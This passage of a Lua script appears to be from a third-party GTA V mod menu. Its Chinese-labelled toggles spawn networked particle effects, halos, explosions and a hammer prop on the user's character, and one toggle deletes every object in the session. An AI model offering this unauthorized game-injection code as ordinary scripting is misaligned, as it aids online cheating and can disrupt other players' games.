"cs_trev1_lighter_sparks", player_pos.x, player_pos.y, player_pos.z -1.5, 0, 0, 0, 15, false, false, false)
end)

GTLP(texiao, "光布", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("cut_family5")
    GRAPHICS.USE_PARTICLE_FX_ASSET("cut_family5")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"cs_alien_light_bed", player_pos.x, player_pos.y, player_pos.z +1.5, 5, 10, 200, 1, false, false, false)
end)

GTLP(texiao, "冷风嗖嗖", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("des_prologue_door")
    GRAPHICS.USE_PARTICLE_FX_ASSET("des_prologue_door")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"ent_ray_pro_door_light_glass", player_pos.x, player_pos.y, player_pos.z +0, 0, 0, 0, 10, false, false, false)
end)

GTLP(texiao, "容光焕发", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("des_farmhouse")
    GRAPHICS.USE_PARTICLE_FX_ASSET("des_farmhouse")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"ent_ray_ch2_farm_fire_light", player_pos.x, player_pos.y, player_pos.z +0, 0, 0, 0, 5, false, false, false)
end)

GTLP(texiao, "疾屁而行", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("cut_family1")
    GRAPHICS.USE_PARTICLE_FX_ASSET("cut_family1")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"cs_cig_exhale_mouth", player_pos.x, player_pos.y, player_pos.z +0, 0, 0, 0, 10, false, false, false)
end)

GTLP(texiao, "气势磅礴", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"veh_light_red", player_pos.x, player_pos.y, player_pos.z -1, 0, 0, 0, 7, false, false, false)
end)

GTLP(texiao, "污水喷涌", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"liquid_splash_gloopy", player_pos.x, player_pos.y, player_pos.z +0, 0, 0, 0, 10, false, false, false)
end)

ysrg = GT(texiao,"一闪而过",{},"")
GTAC(ysrg, "一闪而过V1",{""}, "",function(state)
if state then
for _, boneId in ipairs(bones) do
request_ptfx_asset("scr_rcbarry1")
GRAPHICS.USE_PARTICLE_FX_ASSET("scr_rcbarry1")
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("scr_alien_teleport", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
end
else
GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
end
end)

GTAC(ysrg, "一闪而过V2",{""}, "",function(state)
if state then
for _, boneId in ipairs(bones) do
request_ptfx_asset("scr_rcbarry1")
GRAPHICS.USE_PARTICLE_FX_ASSET("scr_rcbarry1")
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("scr_alien_disintegrate", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
end
else
GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
end
end)

GTAC(ysrg, "一闪而过V3", {""}, "", function ()
    local ptfx_asset = "scr_indep_fireworks"
    local effect_name = "scr_indep_firework_trailburst_spawn"
    diaoshepao(ptfx_asset)
    GRAPHICS.USE_PARTICLE_FX_ASSET(ptfx_asset)
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_ON_ENTITY(effect_name, players.user_ped(), 0.0, 0.0, -0.3, 90.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0)
    for i=1, 10 do 
        local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0.0, i, 0.0)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 67, 0.0, false, false, 0.0, true)
    end
end)

GTAC(ysrg, "一闪而过V4",{""}, "",function(state)
if state then
   for _, boneId in ipairs(bones) do
   request_ptfx_asset("core")
   GRAPHICS.USE_PARTICLE_FX_ASSET("core")
   GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_ray_heli_aprtmnt_exp", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
   end
   else
   GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
   end
end)

GTAC(texiao, "小丑特效",{""}, "",function(state)
    if state then
    for _, boneId in ipairs(bones) do
    request_ptfx_asset("scr_rcbarry2")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_rcbarry2")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("scr_clown_appears", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
    end
    else
    GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)
           
GTAC(texiao, "黑暗力量",{""}, "",function(state)
    if state then
    for _, boneId in ipairs(bones) do
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("scr_sum2_hal_rider_death_green", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
    end
    else
    GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

bianshen = GT(texiao,"变身",{},"美少女战士(超级炫酷)")
GTLP(bianshen, "变身V1", {""}, "蓝", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"scr_sum2_hal_rider_weak_blue", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

GTLP(bianshen, "变身V2", {""}, "绿", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"scr_sum2_hal_rider_weak_green", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

GTLP(bianshen, "变身V3", {""}, "黄", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"scr_sum2_hal_rider_weak_orange", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

GTLP(bianshen, "变身V4", {""}, "白", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"scr_sum2_hal_rider_weak_greyblack", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

GTLP(bianshen, "变身V5", {""}, "七彩", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
    suijijianqi(jianqi), player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)         
end)

GTLP(selflist, "奥义秘术", {}, "", function(f)
    feat = f
    if feat then
        for i = 1, 16 do
            local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
            local rad = 2 * math.pi
            rad = rad / 16
            rad = rad * i
            pos.x = pos.x + (18 * math.cos(rad))
            pos.y = pos.y + (18 * math.sin(rad))
            pos.z = pos.z +0.5
            GRAPHICS.SET_PTFX_ASSET_NEXT_CALL("scr_sum2_hal")
            while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED("scr_sum2_hal") do
                STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_sum2_hal")
                wait(0)
            end
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_sum2_hal_rider_weak_blue", pos.x, pos.y, pos.z, v3(), 4, false, false, false)
            wait(0)
        end
    local player_pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    request_ptfx_asset("scr_sum2_hal")
    STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_sum2_hal_rider_weak_blue", player_pos.x, player_pos.y, player_pos.z, v3(0, 0, 0), 2,false, false, false)
    local player_pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    request_ptfx_asset("scr_sum2_hal")
    STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_sum2_hal_rider_weak_green", player_pos.x, player_pos.y, player_pos.z, v3(0, 0, 0), 2,false, false, false)
    local player_pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    request_ptfx_asset("scr_sum2_hal")
    STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_sum2_hal")
    graphics.start_networked_ptfx_non_looped_at_coord("scr_sum2_hal_rider_weak_orange", player_pos.x, player_pos.y, player_pos.z, v3(0, 0, 0), 2,false, false, false)
    local player_pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    request_ptfx_asset("scr_sum2_hal")
    STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_sum2_hal_rider_weak_greyblack", player_pos.x, player_pos.y, player_pos.z, v3(0, 0, 0), 2,false, false, false)
        return HANDLER_CONTINUE
    else
        return HANDLER_POP
    end
    STREAMING.REMOVE_PTFX_ASSET()
end)

GTLP(texiao, "大便失禁", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"ent_anim_snot_blow", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

GTLP(texiao, "狂放臭屁", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"ent_anim_cig_exhale_mth_car", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

GTLP(texiao, "电焊四溅", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"ent_brk_sparking_wires", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

faguang = GT(texiao,"闪闪发光",{},"各种炫酷的发光特效")
GTLP(faguang, "发光", {"bodylight"}, "", function()
    personllight()
end) 

GTLP(faguang, "发光V2", {""}, "", function()
    personllightb()
end)

GTLP(faguang, "发光V3", {""}, "", function()
    personllightc()
end)

GTLP(faguang, "发光V4", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"exp_air_molotov_lod", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

GTLP(texiao, "脑袋冒烟", {""}, "", function()
    personllighta()
end)

GTTG(texiao, "气场拉满",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("scr_reconstructionaccident")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_reconstructionaccident")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("scr_reconstruct_pipefall_debris", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

GTTG(texiao, "血光之灾",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("scr_solomon3")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_solomon3")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("scr_trev4_747_engine_debris", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

shuihua = GT(texiao,"水花特效",{},"")
GTTG(shuihua, "水花",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_ray_train_water_wash", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

GTTG(shuihua, "水花2",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_amb_wfall_splash_sml", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

GTTG(texiao, "排毒清心",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_amb_smoke_general", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

GTTG(texiao, "龙卷风",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("env_dust_devil_rural_sma", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

GTTG(texiao, "飘飘落叶",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_amb_wind_tree_leaves", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

GTTG(texiao, "夜光灯",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_amb_fbi_light_door", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)


GTTG(texiao, "魂环缠绕",{""}, "",function(on)
    local six = "prop_mp_halo_lrg"
    local sixs = "prop_mp_halo_med"
    local sixss = "prop_mp_halo_point"
    local sixsss = "prop_mp_halo"
    local sixssss = "prop_mp_halo_rotate"
    local sixsssss = "prop_mp_halo_rotate_lrg"
    local sixssssss = "prop_mp_halo_rotate_med"
    local sixsssssss = "prop_mp_halo_rotate_sm"
    if on then     
        attach_to_player(six, 2, 0.0, 0, -0.12, 0, 0,0)
        attach_to_player(sixss, 2, 0, 0, -0.32, 0, 0,0)
        attach_to_player(sixs, 2, 0, 0, 0, -0.22, 0,0)
        attach_to_player(sixsss, 2, 0, 0, -0.02, 0, 0,0)
        attach_to_player(sixssss, 2, 0, 0, -0.42, 0, 0,0)
        attach_to_player(sixsssss, 2, 0, 0, -0.52, 0, 0,0)
        attach_to_player(sixssssss, 2, 0, 0, -0.62, 0, 0,0)
        attach_to_player(sixsssssss, 2, 0, 0, -0.72, 0, 0,0)
    else
        delete_object(six)
        delete_object(sixss)
        delete_object(sixs)
        delete_object(sixsss)
        delete_object(sixssss)
        delete_object(sixsssss)
        delete_object(sixssssss)
        delete_object(sixsssssss)
    end
end)

GTTG(texiao, "怒发冲冠",{"cjfireman"}, "",function(state)
    if state then
    for _, boneId in ipairs(bones) do
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_ray_heli_aprtmnt_s_fire", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
    end
    else
    GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
    end)

GTLP(texiao, "元气弹", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"ent_anim_paparazzi_flash", player_pos.x, player_pos.y, player_pos.z +2.5, 0, 0, 0, 20, false, false, false)
end)

GTTG(texiao, "雷神之锤",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("xm3_prop_xm3_hammer_01"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.07, 0, 0, -100, -90, 100, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

        leishen = GT(texiao,"雷神",{},"")
        GTTG(leishen, "雷神",{""}, "",function(state)
            if state then
                for _, boneId in ipairs(bones) do
                request_ptfx_asset("core")
                GRAPHICS.USE_PARTICLE_FX_ASSET("core")
                GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_amb_elec_crackle", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
                end

            else
                GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
            end
        end)

        GTLP(leishen, "雷神v2", {""}, "", function()
            local player_pos = players.get_position(players.user())
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
        "ent_dst_elec_fire_sp", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
        end)

GTLP(newptfx, "枯枝败叶", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("core")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("ent_col_palm_leaves", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
end)

GTLP(newptfx,"尼斯湖水怪", {""}, "", function ()
    local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
    local affect <const> = Effect.new("core", "ent_amb_trev1_trailer_sp_f")
    if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
    STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
    return
    end
    if timer.elapsed() >= 1000 then
    removeFxs(affects); affects = {}
    timer.reset()
    end
    if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
    local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
    local minimum, maximum = v3.new(), v3.new()
    MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
    local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
    for _, offset in ipairs(offsets) do
    GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
    local fx =
    GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
    GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
    table.insert(affects, fx)
    end
    elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
    for _, boneId in ipairs(bones) do
    GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
    local fx =
    GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
    GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
    table.insert(affects, fx)
    end
    end
    end, function ()
    removeFxs(affects); affects = {}
    end)

    GTLP(newptfx,"雷霆火花", {""}, "", function ()
        local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
        local affect <const> = Effect.new("core", "ent_ray_prologue_elec_crackle_sp")
        if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
        STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
        return
        end
        if timer.elapsed() >= 1000 then
        removeFxs(affects); affects = {}
        timer.reset()
        end
        if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
        local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
        local minimum, maximum = v3.new(), v3.new()
        MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
        local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
        for _, offset in ipairs(offsets) do
        GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
        local fx =
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
        GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
        table.insert(affects, fx)
        end
        elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
        for _, boneId in ipairs(bones) do
        GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
        local fx =
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
        GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
        table.insert(affects, fx)
        end
        end
        end, function ()
        removeFxs(affects); affects = {}
        end)

        GTLP(newptfx,"雷霆万钧", {""}, "", function ()
            local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
            local affect <const> = Effect.new("core", "ent_amb_foundry_arc_heat")
            if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
            STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
            return
            end
            if timer.elapsed() >= 1000 then
            removeFxs(affects); affects = {}
            timer.reset()
            end
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
            local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
            local minimum, maximum = v3.new(), v3.new()
            MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
            local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
            for _, offset in ipairs(offsets) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
            for _, boneId in ipairs(bones) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            end
            end, function ()
            removeFxs(affects); affects = {}
            end)

        GTLP(newptfx,"火花四溅", {""}, "", function ()
            local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
            local affect <const> = Effect.new("core", "ent_brk_sparking_wires_sp")
            if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
            STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
            return
            end
            if timer.elapsed() >= 1000 then
            removeFxs(affects); affects = {}
            timer.reset()
            end
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
            local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
            local minimum, maximum = v3.new(), v3.new()
            MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
            local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
            for _, offset in ipairs(offsets) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
            for _, boneId in ipairs(bones) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
